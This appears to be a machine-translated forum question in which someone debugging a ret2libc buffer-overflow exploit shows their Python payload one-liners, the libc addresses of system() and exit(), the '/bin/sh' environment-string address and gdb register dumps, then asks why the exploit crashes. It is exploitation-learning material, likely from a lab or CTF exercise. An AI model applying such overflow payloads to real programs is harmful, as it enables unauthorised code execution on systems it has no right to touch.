我正在进行ret2libc攻击,我遇到了一个我自己无法解决的问题。
ASLR已停用。 NX位已设置。
我可以使用以下命令覆盖返回地址:
python -c 'print "A"*112 + "BBBB"'`
如果我使用上述命令调用该函数,gdb将输出以下内容:
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) i r
eax 0x804a000 134520832
ecx 0xffffcebc -12612
edx 0x0 0
ebx 0xf7fb1000 -134541312
esp 0xffffcf30 0xffffcf30
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0x8048520 134513952
eip 0x42424242 0x42424242
eflags 0x10282 [ SF IF RF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
到目前为止,非常好。
然后我打印了system()
和exit()
的地址:
(gdb) p system
$1 = {<text variable, no debug info>} 0xf7e37cd0 <system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0xf7e2ba20 <exit>
并将&#34; / bin / sh&#34;进入环境变量
0xffffd2bd: "SHELL=/bin/bash"
所以/ bin / sh的地址等于0xffffd2bd + 0x6 = 0xffffd2c3
但是如果我使用以下命令调用该函数:
python -c 'print "A"*112 + "\xd0\x7c\xe3\xf7" + "\x20\xba\xe2\xf7" + "\xc3\xd2\xff\xff"
导致
Program received signal SIGSEGV, Segmentation fault.
0x080487c9 in get_desc ()
(gdb) i r
eax 0xf7e2ba20 -136136160
ecx 0xffffcebc -12612
edx 0x0 0
ebx 0xf7fb1000 -134541312
esp 0xffffceb0 0xffffceb0
ebp 0xffffcf28 0xffffcf28
esi 0x0 0
edi 0x8048520 134513952
eip 0x80487c9 0x80487c9 <my_func+169>
eflags 0x10282 [ SF IF RF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
退出地址现在位于eax寄存器中。
我很感激每一个提示。
regars